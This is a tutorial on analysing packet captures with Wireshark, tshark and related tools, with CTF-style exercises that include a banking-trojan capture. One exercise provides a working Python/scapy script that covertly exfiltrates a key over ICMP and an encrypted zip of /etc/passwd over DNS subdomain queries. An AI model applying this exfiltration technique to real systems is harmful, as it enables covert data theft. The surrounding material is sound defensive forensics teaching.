PCAP analysis : How to basic

Introduction

Whether in “Capture The Flag” (CTF) events or even in professional life, we work with network captures. PCAP (Packet capture), is rich in information. It’s easy to get lost in the amount of information and start on wrong tracks. Throughout this MOOC, I will introduce you the methodology to be adopted to deal with this type of situation. Firstly, I will try to describe the PCAP content, list some tools and finally practical exercises resulting from CTF tests or malicious traffic.

What is a PCAP file?

PCAP means “Packet Capture”, as its name says, this kind of file contains complete packet going through a network interface. Complete packet means that PCAP files will contain data from second to the seventh layer of the OSI model.

What are they used for?

As we have just seen in Figure 1, a PCAP contains all information in a packet. It can, therefore, be used to identify malicious traffic (attacker, malware…), track a threat, identifies rogue DHCP servers, monitors intrusions, or simply for research purposes…

Who is using PCAP?

A whole bunch of people: researchers, system administrators, malware hunters or analysts during for incident response.

Tools

Every analyst needs a well-stocked toolbox and he needs to know well its tools. Here are the main tools I use when I have to analyze PCAP file:

Wireshark-qt / tshark
CapAnalysis
Binwalk / Foremost
Scripting languages (ex: Python / Bash)
Patience and coffee

Wireshark / tshark

Wireshark is a tshark-based analysis and capture tool, so I’m talking about both in the same category. Wireshark provides a fairly graphical overview with intuitive filters. Here is an image of Wireshark in use:

tshark is a tool used to dump and analyze network information. It is possible to select a particular protocol, IP address or other useful information like Wireshark. The main advantage of tshark on Wireshark, is data extraction. The use of this tool may seem obscure, but here is its syntax:

tshark -r filename.pcap -Y display_filter -Tfields -e some_specific_filter

filename.pcap: PCAP file to analyze ;
display_filter: This parameter will take the wireshark display filter as an argument ;
some_specific_filter: This will be used to extract a specific data.

This PCAP comes from a CTF challenge. Complete writeup can be found on Ressource 3.

CapAnalysis

CapAnalysis will be used to perform a statistical analysis of PCAP file, such as counting the number of requests per IP, the list of protocols used over time and many others. It provides a good overview of PCAP file before starting the analysis. A docker is available on Docker Hub (see Resources 4).

Binwalk / Foremost

Binwalk is a fast, easy to use tool for analyzing, reverse engineering, and extracting firmware images. It will detect some file pattern inside another. For example, a packet capture during PNG file transfer:

Foremost is similar to Binwalk.

Scripting languages

Python and bash are often used because they are really user friendly and there are lot of libraries.

For Python:

PyShark
Scapy

For Bash:

grep
strings
tr
xxd

TSURUGI Linux

The Linux distribution TSURUGI has been developed for forensic analysts in order to make a turnkey OS with all the essential pre-configured tools. The tools mentioned above are all installed in this distribution, even more.

Filename	SHA1	Download link
tsurugi_lab_2018.1.iso	b54895db6fba93239b668edb9f5ef02bef975b40	https://tsurugi-linux.org/downloads.php

Pimp my Wireshark

Before starting the analysis, it is important to correctly configure your tools. Wireshark will probably be the most frequently used tool in analysis. An important point to add is that the configuration I will present is my own, it is up to you to make your own. I am open to your changes and would be happy to discuss about them.

Column changes

By default, the configuration of this tool is acceptable. We will add the following columns to make our Wireshark displaying more relevant results:

Packet source port
Packet destination port
Hostname
Change date format
Display transferred data in hex

The first column, containing the packet numbers, will be deleted. Indeed, it is possible to order the packages over time, which is more relevant, in my opinion. To modify a column in Wireshark, simply go to the Columns menu at the path:

Edit -> Preferences -> Columns

In a first time, we have to delete the number column:

Add a column
Select the filter Src port (unresolved) and Dst port (unresolved)
You can move the column where you want. Don’t let a column behind the ‘Info’ one, otherwise the column won’t be displayed.

Another important point to notice, the packet timestamp. Originally, Wireshark does not display it following ISO 8601 standard. You can change it:

One of the protocols that are recurrent in a PCAP is the HTTP protocol. This protocol appears frequently because any user will generate this kind of traffic while browsing the Internet, applications, and software also use it for multiple reasons, etc…. In a CTF, challenges contain unnecessary requests, in order to parasitize the PCAP traffic and try to drown the challenger under the amount of information. For malware, it may be interesting to retrieve communications with its command and control server, because it can receive orders, download other malware…

To have a PCAP file containing HTTP traffic, just open Wireshark and start capturing on a network interface with an Internet access. With the following request in a terminal, it’s enough to generate HTTP traffic:

1
$ curl https://www.google.com/

Now, it could be really nice to get hostname corresponding to IP address:

Just right clicking on the desired data and apply it as a column. This method can be applied to anything you want, knowing that adding and deleting a column is very easy, so don’t hesitate to modify Wireshark according to your investigation.

Another column to be added, which may be interesting in some cases, will be the data that are passing through the network. It is possible to add a new column with the filter data.data, via the custom menu. To generate some traffic, you can use netcat:

Plugins

It is possible to develop and create Lua plugins for Wireshark. The Pentest Academy team has developed some interesting plugins (see Resource 5) to see domain names, DHCP connections or GET and POST request information. The installation is quite simple, just clone the repository and place the plugins in the right folder:

1
2
$ git clone https://github.com/pentesteracademy/patoolkit.git
$ cp -r patoolkit/plugins/* /home/maki/.local/lib/wireshark/plugins/

So we have access to the Pentester Academy plugins. If either of you do, I’ll be curious to know! :)

Methodology

Introduction

A full packet network capture is a slow and heavy process, which is why it is rarely seen in an enterprise information system. To be aware of the noise generated by a networked device, try putting Wireshark in capture mode on your ethernet or wifi interface. All operating systems are sending ICMP or ARP requests to ensure that the equipment is properly connected. There are more specific things like the broadcast of a Windows system on the network. That’s why we spent a little time earlier to configure our tools correctly. It is extremely easy to get lost among all these logs and forget what you were looking for at the beginning.

In this part of the course, I will share my methodology when analyzing a PCAP file. This methodology is divided into four main areas:

Overview&static analysis
Hypothesis
Checking
Find the treasure

The aim is starting from a “high level” analysis, to establish hypotheses, verify them and establish others from the results obtained. And do not forget what we are looking for at the beginning: the treasure!

Overview & static analysis

Throughout this course, I will analyze the same PCAP file as the one used in the prerequisites:

Filename	MD5	Download link
OtterLeak.pcap	d0ab559c54fffe713fd13e9b0f7174df	https://mega.nz/#!2DwzBaaR!VcTfsZadubKUTNn2LwPXQXoZ2sxpbxHt65B-Wj1N-so

First of all, it is advisable to do a static analysis of the PCAP file. As presented in the previous parts, I use the CapAnalysis tool. The goal here will be to determine the interesting artifacts and build our hypotheses. It may be interesting to start with the following points:

Protocol used
Amount of data sent
Source and destination IP
Geolocation
Filtering on time

State of the art

In the Figure above, we can see the SMB and HTTP protocols are much more used than the others. We can try to filter through these protocols to see what comes out of them:

By filtering on the protocols, we can see that the two most talkative IPs are these two internal IPs:

Source IP: 10.0.0.6
Destination IP: 10.0.0.33

Let’s try to find something else on these IPs. By searching a little bit in the CapAnalysis menus, we can notice some interesting data:

Thanks to Figure 3, we can see that IPs 10.0.0.6 and 10.0.0.33 are the ones that communicate most with each other. In addition, we were able to learn that IP 10.0.0.33 has a domain name: Pika.local.

We are reaching a point where we will have to start writing hypotheses and test them for the future.

Hypothesis

With the information retrieved from the static analysis, we are able to identify the first hypotheses. Personally, I prefer to write them on a board or use paper and pencil to keep them in front of me. There is nothing worse in forensic than losing sight of what you are looking for.

In my opinion, at this stage, it’s better to be fairly generalist at first and then to refine more and more. There will be what can be called “feedback loops”. It just means knowing when to step back from the situation when you fall into a deadlock. The methodology can be summarized in the following diagram:

By listing the information in our possession:

IPs
- 10.0.0.33 -> Pika.local
- 10.0.0.6
Protocols
- SMB
- HTTP

By limiting to this information, we are already making a huge filter on the entire PCAP file. It is important to keep in mind that the treasure we are looking for, may not be in there.

But knowing that, you can imagine some things:

Data extraction via HTTP? SMB?
Communications to a command and control server?
Open SMB shares with open access data (anonymous user)?
An attack on the SMB, such as EternalBlue?
A vulnerable web application?

These are examples, the aim is to identify as many hypotheses as possible in order to try to be as exhaustive as possible and then not miss something. Once the static analysis and the first hypotheses are completed, it is time to open Wireshark for a more in-depth analysis.

Checking

What I called “Checking part” is the validation or not of the previous hypotheses. This verification will mostly be done via Wireshark and tshark. What you have to force yourself to do throughout the analysis is to continue to identify hypotheses and record them.

The hypotheses generated during the static analysis of the PCAP file only give a global idea, an axis of exploration to avoid getting lost in this sea of data. Network information is important, it will serve as an indicator of compromise (IOC). These indicators allow CERTs and other analysts to determine malicious behavior. Malware often uses particular patterns: an exotic user-agent, a C&C IP…

With this information, analysts can create rules for SIEM / IDS / IPS and other network analysis equipment. These rules will be used to identify malicious behavior quickly. An IOC can be:

IP
User-Agent
Host
Specific pattern

Round 1

With the information retrieved during the static analysis, let’s try to build a filter:

IPs filtering
Protocol filtering

It gives us:

((smb2 || http) || (ip.addr == 10.0.0.33)) && (ip.addr == 10.0.0.6)

Once this filter is applied, something comes up:

Now we strongly assume that there is data exfiltration via SMB2. It is important to step back from the analysis, so there are other questions to ask:

Who or what is responsible for this behavior?
Is the exfiltered data encrypted? Encoded?

At this point, it comes back to what I said at the beginning of this MOOC: make other hypotheses and verify them, repeat the operation as long as necessary in order to find something interesting.

Round 2

If we look closely, the exfiltered bytes are sent only from IP 10.0.0.33 on port 445 to 10.0.0.6 on port 139. It is possible to refine our Wireshark filter a little:

(ip.src == 10.0.0.33) && (ip.dst == 10.0.0.6) && smb2 && data.data

The data looks to a very particular encoding system, base64:

Alpha chars, upper and lowercase
Digital chars
Terminated by an equal

To be sure of that, tshark will be more useful than Wireshark:

The final command at the end of the GIF above is:

1
$ tshark -r OtterLeak.pcap -Y '(ip.src == 10.0.0.33) && (ip.dst == 10.0.0.6) && smb2 && data.data' -Tfields -e data.data | tr -d '\n' | xxd -r -p | rev | base64 -d

tshark: This command will extract all data transferred from 10.0.0.33 to 10.0.0.6 through SMB2 in the PCAP ;
tr: This command will remove all line return in the bash output ;
xxd: This command will convert hex digit into ascii chars ;
rev: This command will reverse the string
base64: This command will decode the base64 data

Find the treasure

After a while, we will find interesting things about the malicious actions carried out. However, analysts are fighting another scourge: time. The feeling of missing something can be really frustrating.

In a global attack like Wannacry, the real threat was time. The more analysts tried to be exhaustive, the more malware grew. The goal is to find important information quickly to stop the attack, while the security patches are put in place. This is why the first step, during static analysis, is important. This step can be decisive for the future.

During the checking phase, if there is no relevant information, do not hesitate to restart from the beginning and repeat the procedure, in order to find more hypothesis.

Concerning this first part related to methodology, it is over. The methodology is relatively simple and is done naturally. The rather complicated points are: force yourself to find hypotheses before starting the analysis head down and take a step back on the investigation.

Another blocking point during the analysis will be the knowledge of the tools, including Wireshark. The following sections will be based on the use of tools and small tips and tricks to quickly extract the useful data.

Practical example

Clear TCP

This practical work will aim to familiarize students with network tools and protocols. I chose to do these exercises as a “challenge” as in CTF. The purpose of each TP is to find a character string, a “flag”. The format is flag{ImTheFlag}.

In this first TP, we will see a TCP communication without a cryptographic layer. Many protocols rely on TCP to operate. However, most of them are not encrypted by default, here is a non-exhaustive list:

Telnet
HTTP
SMTP
…

Statement

The exercise material can be found on the following link:

Filename	Hash	Download link
cleartcp.pcapng	09a6f779bfe37db11a83b60dc8484111	https://mega.nz/#!Ka4SAQYY!ky618XDVfmGMk0WNU46fprwlkgb8JJlG4BEd38QsEyA

The goal here will be to find the content of the message sent by netcat. To do the manipulation again on your side, I invite you to read the following section, concerning the resolution.

Resolution

In this first practical exercise, it’s not necessary to use CapAnalysis, because the PCAP file is ridiculously small. A simple quick view with Wireshark will be enough. Normally, if you have followed the previous chapters, something must be obvious to you:

It is possible to find this result without our magic column. Wireshark is able to track a TCP connection flow. This is one of the most useful features in my opinion:

Right click on the desired packet -> Follow TCP stream

A new window will appear with the content of the TCP stream. In our example, there is only one stream containing little information. However, it is possible to do the same on all TCP-based protocols and quickly obtain information.

Do it yourself

Each challenge will have this section. With the following resources you’re able to reproduce the challenge environment at home.

Prerequisites

To do this task, and probably all challenge after, you’ll need:

Docker
Wireshark / tshark

Setting up the environment

Store the following code into a file called Dockerfile:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
FROM debian:latest

RUN apt update && \
    apt install -y --no-install-recommends netcat.traditional
RUN rm -rf /var/lib/apt/lists/*

COPY run.sh /run.sh
RUN chmod +x /run.sh

EXPOSE 1664

ENTRYPOINT ["/run.sh"]

In the Dockerfile folder, store the following bash code in run.sh:

1
2
3
4
5
6
#!/bin/sh

echo -n "[+] Container IP: "
ip a | grep inet | awk '{print $2}' | tail -n+2

nc -lvp 1664

Now, just build your container, follow these command lines:

1
2
3
4
$ sudo docker build . -t cleartcp # Generate the docke container
$ sudo docker run --rm --name cleartcp -t cleartcp
[+] Container IP: 172.17.0.2/16
listening on [any] 1664 ...

Congratulation! You just did your first docker container!

Wireshark analysis

Docker provides a network interface and use your host as the gateway. So open Wireshark and listen on your docker0 network interface to catch all packets. If you’re seeing some ICMP and ARP packets, don’t worry. It’s just Docker if everything is well connected. Next step will be the easiest: sending data on the right port using netcat:

1
$ echo "Students cyber mooc !" | nc 172.17.0.2 1664

File transfer

Statement

In this PCAP file there is also some TCP traffic. But this time it’s not a text message, but a file. The purpose of this practical exercise will be to find it and open it to see what this mysterious file contains.

Filename	Hash	Download link
filetransfer.pcapng	b1cfd7c12581d9b0b2c99008d3a7e746	https://mega.nz/#!iL5GES4b!NLrHvjJoYTSavweDCR1zxgsbyxsMsw-M9k-VWVLjUWM

Resolution

As in the previous practical exercise, there is no need to do a statistical analysis to see what contains the PCAP file. Normally now you don’t have any excuses for not having the data.data and data.text columns.

When opening the file, you can see interesting bytes:

In the red frame you can see PNG, this acronym is rather explicit, but we will talk a little bit about file structures. Almost all files have signatures, which is why our operating systems can open them with the appropriate software, even if you specify a wrong extension. In addition, the file command on Linux uses the signature to return its type. In the brown frame, we can see hexadecimal, the beginning of what seems to be a PNG. The signature present at the beginning and at the end of the files, is called magic numbers. If google that, you can easily find the magic numbers of a PNG:

Exactly these bytes are present in the brown frame. We can deduce that we are dealing with a PNG image that has been transferred. The libpng site tells us a little more about the structure of a PNG. In particular, the signature at the end containing IEND chunk:

As we can see in the red frame, it’s a PNG file:

Another method to find the PNG file is using binwalk, as I said in tooling section, binwalk is carving tool. It will detect and try to identify file structure:

Now we are 100% sure that our transferred file is a full PNG image. As said several times before, Wireshark is based on a tool called tshark. It has the advantage of being in CLI, so with a little practice, we can easily extract the desired data:

Red frame: This is the tshark command. The PCAP file is opened and is displaying the raw content of data.data column.
Yellow frame: The tr -d command will allow you to delete one or more characters. The output of tshark with the filter data.data looks like 00:11:22:22:33:44… with line breaks between each packet. tr allows me to delete these characters to have hexdecimal data on a single line.
Brown frame: This hexadecimal line represents our PNG picture. Just decode it in a file to retrieve a valid PNG and complete the challenge.

Do it yourself

Prerequisite

As the last “Do it yourself” (DIY) I told you to use Docker. In fact, it’s not necessary:

netcat
Wireshark / tshark

Send the picture

In this “Do it yourself”, I’m going to use the loopback (lo) network interface. Instead of docker network interface. The main advantage of using this interface is the absence of noise during Wireshark capture session.

Open a linux terminal:

1
$ nc -lvp 3615 > test.out

As the last DIY, open Wireshark but listen on lo interface instead of docker one. When everything is properly set up, open a second linux terminal and send it to the desired TCP port:

1
$ cat flag.png | nc 127.0.0.1 3615

As we can see, both file are similar.

Data exfiltration

Statement

When an attacker has been successfully compromised a target, he will tries to extract data as discreetly as possible. ICMP and DNS protocols are oftenly used for this. In the following PCAP file, an evil hacker has stole some sensitive data.

Filename	Hash	Download link
exfiltration.pcapng	1e481b149ee2d65c02d1eaea19aaedfa	https://mega.nz/#!7WwWlApI!pohkUfpW_r1yvnPTUgIL2lsBx-N424YtkdZLUoON-gk

Resolution

When you open the PCAP file, you can see several protocols, such as ARP, ICMP, and DNS. If your columns look like mine, you should see data quickly in the ICMP, which should not contain any. Then, the subdomains for DNS requests are a little strange, to make it easier to read, I added a column with the filter dns.qry.name:

If you have correctly understood the previous practical exercise, then extracting the data here shouldn’t be too difficult. In this PCAP file, I left the “noise” (ARP, ICMP with DNS), before starting to recover anything, we have to start making some hypotheses:

What we know
- ICMP hex data looks to ASCII characters
- DNS subdomains looks to base64 encoded data
Hypotheses
- Are ICMP decoded data printable?
- What’s the data hide in subdomains?
- Are ICMP and DNS data related to each other?

Before taking out the heavy artillery and diving head down and extract everything, let’s try to extract the first ICMP package and the first sub-domain. Just right click on the desired element and copy the value, and decode them in your terminal:

1
2
3
4
5
6
7
8
$ echo -n "546865206b657920" | xxd -r -p
The key

$ echo -n "UEsDBBQACQAIAHOFd01q" | base64 -d
PK     s�wMj

$ echo -n "UEsDBBQACQAIAHOFd01q" | base64 -d | xxd -p
504b03041400090008007385774d6a

The data contained in the ICMP is indeed ASCII encoded in hexa. The subdomain contains the characters “PK” followed by non-printable characters… Ok, let’s try to find what type of file it is. According to the following figure, I just decoded the base64 of the first subdomain and print it as hex:

As the previous practical exercise,I went to the wikipedia page of file signatures and found that the first 4 bytes corresponded to the magic number of a ZIP archive:

Now, we can answer to our previous hypotheses:

Is ICMP data is printable?
- Yes, it starts with “The key”.
Are encoded subdomains contains something relevant?
- Probably, there is ZIP magic number in the first subdomain.
Are both protocol related to each other?
- Don’t know yet.

Before starting with new hypotheses, let’s extract everything:

1
2
3
4
5
6
7
$ tshark -r exfiltration.pcapng -Y icmp.resp_to -T fields -e data.text | xxd -r -p
The key of the encrypted archive is: CyberMoocMooc

$ tshark -r exfiltration.pcapng -Y 'ip.src == 172.17.0.1 && !icmp' -T fields -e dns.qry.name | sed 's/\.makictf\.wtf//g' | base64 -d
PK     s�wMjR��LY
                 passwd_fileUT    9.�[
[...]

When I’m trying to unzip the archive, it asks me for a password. Let’s try with “CyberMoocMooc”:

Do it yourself

As for the clear TCP, I made a small docker. This time I based the container on the image of Python2 - Alpine, because to simulate a DNS server that accepts all requests, I will use the SpiderLab script: Responder.

Server side

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
FROM python:2-alpine

RUN apk add git

RUN mkdir /responder && git clone https://github.com/SpiderLabs/Responder.git /responder

COPY run.sh /run.sh
RUN chmod +x /run.sh

ENTRYPOINT ["/run.sh"]

And the run.sh script:

1
2
3
4
#!/bin/sh

INTERFACE=$(ip a | grep BROADCAST | awk '{print $2}' | sed 's/@.*$//')
cd /responder && ./Responder.py -I $INTERFACE -wrf

Time to build and start our docker:

1
$ sudo docker build . -t responder && sudo docker run --rm --name responder -t responder

You should got something like that:

37: Responder up

Client side

For the client, basically your host, you can use the following python script (exfil.py) to generate the malicious traffic:

As for the clear TCP, I made a small docker. This time I based the container on the image of Python2 - Alpine, because to simulate a DNS server that accepts all requests, I will use the SpiderLab script: Responder.

Server side

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
FROM python:2-alpine

MAINTAINER Alan MARREC <amarrec@protonmail.com>

RUN apk add git

RUN mkdir /responder && git clone https://github.com/SpiderLabs/Responder.git /responder

COPY run.sh /run.sh
RUN chmod +x /run.sh

ENTRYPOINT ["/run.sh"]

And the run.sh script:

1
2
3
4
#!/bin/sh

INTERFACE=$(ip a | grep BROADCAST | awk '{print $2}' | sed 's/@.*$//')
cd /responder && ./Responder.py -I $INTERFACE -wrf

Time to build and start our docker:

1
$ sudo docker build . -t responder && sudo docker run --rm --name responder -t responder

Client side

For the client, basically your host, you can use the following python script (exfil.py) to generate the malicious traffic:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3
#-*- coding: utf-8 -*-

from scapy.all import *
import binascii
import base64

destIP = "172.17.0.2"

'''
Exfiltration with ICMP

@param mesg: Input to send through ICMP - C{bytes}
@return: No return, sends packets.
'''
def ping_exf(mesg):
    hex_mesg = str(binascii.hexlify(bytes(mesg, 'utf8')))[2:-1] # Removing of b' at start and ' at end
    n = 16 # Size of block
    list_split = [hex_mesg[i:i+n] for i in range(0, len(hex_mesg), n)] # Split string into list
    for i in range(0,len(list_split)):
        print(list_split[i])
        send(IP(dst=destIP)/ICMP()/list_split[i])

'''
Exfiltration with DNS A requests. Send an archive / file or wathever
splitted into 20 char / packet.
Don't forget to put a responder server on the target. 
Responder will up a DNS server that accept all requests, even wrong one.

@param mesg: Input to send via DNS A requests - C{bytes}
@return: No return, sends packets.
'''
def dns_exf(mesg):
    mesg = base64.b64encode(mesg)
    n = 20
    list_split = [mesg[i:i+n] for i in range(0, len(mesg), n)]
    
    for i in range(0, len(list_split)):
        print(str(list_split[i])[2:-1])
        part = ("%s.makictf.wtf" % str(list_split[i])[2:-1])
        sr1(IP(dst=destIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=part)),verbose=0)

if __name__ == "__main__":
    key_archive = "The key of the encrypted archive is: CyberMoocMooc"
    
    f = open('passwd.zip','rb')
    enc_archive = f.read()
    f.close()
   
    ping_exf(key_archive)
    dns_exf(enc_archive)

This script will convert a file to base64, then send it to fictitious subdomains. Just before, a string in hex is sent by ICMP. As part of our TP, I propose you to make an encrypted zip archive and send it by DNS, the key would be sent by ICMP.

1
2
$ zip -e passwd.zip /etc/passwd
Enter password: [Enter your password]

It is now time to run Wireshark and the exfil_gen.py script. When the script is completed, then we can stop Wireshark capture and save the traffic into a PCAP file.

Trojan horse

In this practical exercise, it will not be a CTF challenge task. It will be a real forensic case, with a real bad malware inside it. Then be careful with this PCAP, it contains a banking trojan.

Statement

The PCAP file can be download here:

Filename	Hash	Download link
2018-11-13-traffic-analysis-exercise.pcap	221168dc0865c145fe977b2c373022f3	https://tinyurl.com/TP-malicious

This practical exercise comes from: https://www.malware-traffic-analysis.net/2018/11/13/index.html

And here is the questions to answer:

What was the date and time the malicious traffic started?
What is the MAC address of the infected Windows host?
What is the host name of the infected Windows host?
What is the user account name used on the infected Windows host?
What URL in the pcap returned a Windows executable file?
What is the size of the Windows executable file from that URL?
What is the SHA256 hash of the Windows executable file from that URL?
What type of malware is the Windows executable returned from that URL?

Resolution

You can find the official correction here, the password of the archive is “infected” : https://www.malware-traffic-analysis.net/2018/11/13/2018-11-13-traffic-analysis-exercise-answers.pdf.zip

What URL in the pcap returned a Windows executable file?

I didn’t do as the original author. I tried to find the malware first. I just did a research with “data.data” filter:

As you can see in the red frame, there is a magic number. This magic number is for a PE file, or a Windows executable (portable executable).

If your “data.text” column is blank, you should modify your Wireshark preferences for “data” protocol:

According to the signature list on Wikipedia (cf. Resource 1):

Donc, nous avons bien un executable Windows. Surement notre malware. À ce stade, il est possible de répondre à la question “What URL in the pcap returned a Windows executable file”: